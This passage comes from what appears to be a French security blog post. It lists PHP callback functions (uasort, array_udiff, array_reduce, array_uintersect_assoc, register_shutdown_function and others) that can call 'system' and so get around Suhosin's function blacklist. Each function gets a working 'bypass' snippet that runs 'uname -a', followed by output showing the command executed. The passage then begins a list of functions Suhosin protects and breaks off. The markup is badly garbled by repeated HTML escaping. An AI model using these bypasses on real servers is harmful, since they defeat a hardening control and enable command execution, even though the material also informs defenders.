\/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n[\/php]<\/p>\n<p><span style=\"color: #339966;\"><strong>R\u00e9sultats fonctionnel :<\/strong><\/span><\/p>\n<p>[bash]suhosin.executor.func.blacklist = system&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nusort (PHP4, PHP5):&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nLinux 2.6.38-16-generic-pae #67-Ubuntu SMP Thu Sep 6 18:18:02 UTC 2012 i686 GNU\/Linux[\/bash]<\/p>\n<h3>uasort (PHP4, PHP5)<\/h3>\n<p><a title=\"uasort\" href=\"http:\/\/www.php.net\/manual\/fr\/function.uasort.php\" target=\"_blank\">Documentation de la fonction.<\/a><\/p>\n<blockquote>\n<p>uasort\u00a0\u2014\u00a0Trie un tableau en utilisant une fonction de rappel<\/p>\n<\/blockquote>\n<p><strong>Code de bypass :<\/strong><\/p>\n<p>[php]&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;amp;lt;?php&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n $cmd = &amp;amp;amp;amp;amp;amp;quot;uname -a&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;amp;quot;suhosin.executor.func.blacklist = &amp;amp;amp;amp;amp;amp;quot; . ini_get(&amp;amp;amp;amp;amp;amp;quot;suhosin.executor.func.blacklist&amp;amp;amp;amp;amp;amp;quot;) . &amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;amp;quot;uasort (PHP4, PHP5):&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n $x = array(&amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;quot;, $cmd);&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n uasort($x, &#8216;system&#8217;);&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n?&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n[\/php]<\/p>\n<p><span style=\"color: #339966;\"><strong>R\u00e9sultats fonctionnel :<\/strong><\/span><\/p>\n<p>[bash]suhosin.executor.func.blacklist = system&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nuasort (PHP4, PHP5):&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nLinux 2.6.38-16-generic-pae #67-Ubuntu SMP Thu Sep 6 18:18:02 UTC 2012 i686 GNU\/Linux[\/bash]<\/p>\n<h3>array_udiff (PHP5)<\/h3>\n<p><a title=\"array-udiff\" href=\"http:\/\/www.php.net\/manual\/fr\/function.array-udiff.php\" target=\"_blank\">Documentation de la fonction.<\/a><\/p>\n<blockquote>\n<p>array_udiff\u00a0\u2014\u00a0Calcule la diff\u00e9rence entre deux tableaux en utilisant une fonction rappel<\/p>\n<\/blockquote>\n<p><strong>Code de bypass :<\/strong><\/p>\n<p>[php]&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;amp;lt;?php&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n $cmd = &amp;amp;amp;amp;amp;amp;quot;uname -a&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;amp;quot;suhosin.executor.func.blacklist = &amp;amp;amp;amp;amp;amp;quot; . ini_get(&amp;amp;amp;amp;amp;amp;quot;suhosin.executor.func.blacklist&amp;amp;amp;amp;amp;amp;quot;) . &amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;amp;quot;array_udiff (PHP5):&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n array_udiff(array($cmd), array(&amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;quot;), &#8216;system&#8217;);&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n?&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n[\/php]<\/p>\n<p><span style=\"color: #339966;\"><strong>R\u00e9sultats fonctionnel :<\/strong><\/span><\/p>\n<p>[bash]suhosin.executor.func.blacklist = system&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\narray_udiff (PHP5):&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nLinux 2.6.38-16-generic-pae #67-Ubuntu SMP Thu Sep 6 18:18:02 UTC 2012 i686 GNU\/Linux[\/bash]<\/p>\n<h3>array_reduce (PHP4 &gt;= 4.0.5, PHP5)<\/h3>\n<p><a title=\"array-reduce\" href=\"http:\/\/www.php.net\/manual\/fr\/function.array-reduce.php\" target=\"_blank\">Documentation de la fonction.<\/a><\/p>\n<blockquote>\n<p>array_reduce\u00a0\u2014\u00a0R\u00e9duit it\u00e9rativement un tableau<\/p>\n<\/blockquote>\n<p><strong>Code de bypass :<\/strong><\/p>\n<p>[php]&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;amp;lt;?php&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n $cmd = &amp;amp;amp;amp;amp;amp;quot;uname -a&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;amp;quot;suhosin.executor.func.blacklist = &amp;amp;amp;amp;amp;amp;quot; . ini_get(&amp;amp;amp;amp;amp;amp;quot;suhosin.executor.func.blacklist&amp;amp;amp;amp;amp;amp;quot;) . &amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;amp;quot;array_reduce (PHP4 &amp;amp;amp;amp;amp;amp;gt;= 4.0.5, PHP5):&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n array_reduce(array(&amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;quot;), &#8216;system&#8217;, $cmd);&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n?&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n[\/php]<\/p>\n<p><span style=\"color: #339966;\"><strong>R\u00e9sultats fonctionnel :<\/strong><\/span><\/p>\n<p>[bash]suhosin.executor.func.blacklist = system&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\narray_reduce (PHP4 &amp;amp;amp;amp;amp;amp;gt;= 4.0.5, PHP5):&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nLinux 2.6.38-16-generic-pae #67-Ubuntu SMP Thu Sep 6 18:18:02 UTC 2012 i686 GNU\/Linux[\/bash]<\/p>\n<h3>array_uintersect_assoc\u00a0(PHP5)<\/h3>\n<p><a title=\"array-uintersect-assoc\" href=\"http:\/\/www.php.net\/manual\/fr\/function.array-uintersect-assoc.php\" target=\"_blank\">Documentation de la fonction.<\/a><\/p>\n<blockquote>\n<p>array_uintersect_assoc\u00a0\u2014\u00a0Calcule l&#8217;intersection de deux tableaux avec des tests sur l&#8217;index, compare les donn\u00e9es en utilisant une fonction de rappel<\/p>\n<\/blockquote>\n<p><strong>Code de bypass :<\/strong><\/p>\n<p>[php]&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;amp;lt;?php&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n $cmd = &amp;amp;amp;amp;amp;amp;quot;uname -a&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;amp;quot;suhosin.executor.func.blacklist = &amp;amp;amp;amp;amp;amp;quot; . ini_get(&amp;amp;amp;amp;amp;amp;quot;suhosin.executor.func.blacklist&amp;amp;amp;amp;amp;amp;quot;) . &amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;amp;quot;array_uintersect_assoc (PHP5):&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n array_uintersect_assoc (array($cmd), array(&amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;quot;), &#8216;system&#8217;);&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n?&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n[\/php]<\/p>\n<p><span style=\"color: #339966;\"><strong>R\u00e9sultats fonctionnel :<\/strong><\/span><\/p>\n<p>[bash]suhosin.executor.func.blacklist = system&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\narray_uintersect_assoc (PHP5):&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nLinux 2.6.38-16-generic-pae #67-Ubuntu SMP Thu Sep 6 18:18:02 UTC 2012 i686 GNU\/Linux[\/bash]<\/p>\n<h3>array_uintersect_uassoc\u00a0(PHP5)<\/h3>\n<p><a title=\"array-uintersect-uassoc\" href=\"http:\/\/www.php.net\/manual\/fr\/function.array-uintersect-uassoc.php\" target=\"_blank\">Documentation de la fonction.<\/a><\/p>\n<blockquote>\n<p>array_uintersect_uassoc\u00a0\u2014\u00a0Calcule l&#8217;intersection de deux tableaux avec des tests sur l&#8217;index, compare les donn\u00e9es et les indexes des deux tableaux en utilisant une fonction de rappel<\/p>\n<\/blockquote>\n<p><strong>Code de bypass :<\/strong><\/p>\n<p>[php]&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;amp;lt;?php&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n $cmd = &amp;amp;amp;amp;amp;amp;quot;uname -a&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;amp;quot;suhosin.executor.func.blacklist = &amp;amp;amp;amp;amp;amp;quot; . ini_get(&amp;amp;amp;amp;amp;amp;quot;suhosin.executor.func.blacklist&amp;amp;amp;amp;amp;amp;quot;) . &amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;amp;quot;array_uintersect_uassoc (PHP5):&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n array_uintersect_uassoc (array($cmd), array(&amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;quot;), &#8216;system&#8217;, &#8216;system&#8217;);&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n?&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n[\/php]<\/p>\n<p><span style=\"color: #339966;\"><strong>R\u00e9sultats fonctionnel :<\/strong><\/span><\/p>\n<p>[bash]suhosin.executor.func.blacklist = system&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\narray_uintersect_uassoc (PHP5):&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nLinux 2.6.38-16-generic-pae #67-Ubuntu SMP Thu Sep 6 18:18:02 UTC 2012 i686 GNU\/Linux[\/bash]<\/p>\n<h3>register_shutdown_function (PHP4, PHP5)<\/h3>\n<p><a title=\"register-shutdown-function\" href=\"http:\/\/www.php.net\/manual\/fr\/function.register-shutdown-function.php\" target=\"_blank\">Documentation de la fonction.<\/a><\/p>\n<blockquote>\n<p>register_shutdown_function\u00a0\u2014\u00a0Enregistre une fonction de rappel pour ex\u00e9cution \u00e0 l&#8217;extinction<\/p>\n<\/blockquote>\n<p><strong>Code de bypass :<\/strong><\/p>\n<p>[php]&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;amp;lt;?php&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n $cmd = &amp;amp;amp;amp;amp;amp;quot;uname -a&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;amp;quot;suhosin.executor.func.blacklist = &amp;amp;amp;amp;amp;amp;quot; . ini_get(&amp;amp;amp;amp;amp;amp;quot;suhosin.executor.func.blacklist&amp;amp;amp;amp;amp;amp;quot;) . &amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;amp;quot;register_shutdown_function (PHP4, PHP5):&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n register_shutdown_function(&#8216;system&#8217;, $cmd);&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n?&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n[\/php]<\/p>\n<p><span style=\"color: #339966;\"><strong>R\u00e9sultats fonctionnel :<\/strong><\/span><\/p>\n<p>[bash]suhosin.executor.func.blacklist = system&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nregister_shutdown_function (PHP4, PHP5):&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nLinux 2.6.38-16-generic-pae #67-Ubuntu SMP Thu Sep 6 18:18:02 UTC 2012 i686 GNU\/Linux[\/bash]<\/p>\n<h2>Fonctions \u00e0 callback et d&#8217;\u00e9valuation prot\u00e9g\u00e9es par Suhosin<\/h2>\n<p>Toutes les fonctions d&#8217;\u00e9valuation de code ou permettant l&#8217;utilisation de callbacks ne permettent pas toutes d&#8217;op\u00e9rer \u00e0 ces bypass. Parmi celles qui sont prot\u00e9g\u00e9es on d\u00e9nombre :<\/p>\n<h3>eval (PHP4, PHP5)<\/h3>\n<p><a title=\"eval\" href=\"http:\/\/www.php.net\/manual\/fr\/function.eval.php\" target=\"_blank\">Documentation de l&#8217;instruction.<\/a><\/p>\n<blockquote>\n<p>eval\u00a0\u2014\u00a0Ex\u00e9cute une cha\u00eene comme un script PHP<\/p>\n<\/blockquote>\n<p><strong>Code de test:<\/strong><\/p>\n<p>[php]&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;amp;lt;?php&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n $cmd = &amp;amp;amp;amp;amp;amp;quot;uname -a&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;amp;quot;suhosin.executor.eval.blacklist = &amp;amp;amp;amp;amp;amp;quot; . ini_get(&amp;amp;amp;amp;amp;amp;quot;suhosin.executor.eval.blacklist&amp;amp;amp;amp;amp;amp;quot;) . &amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;amp;quot;eval (PHP4, PHP5):&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n 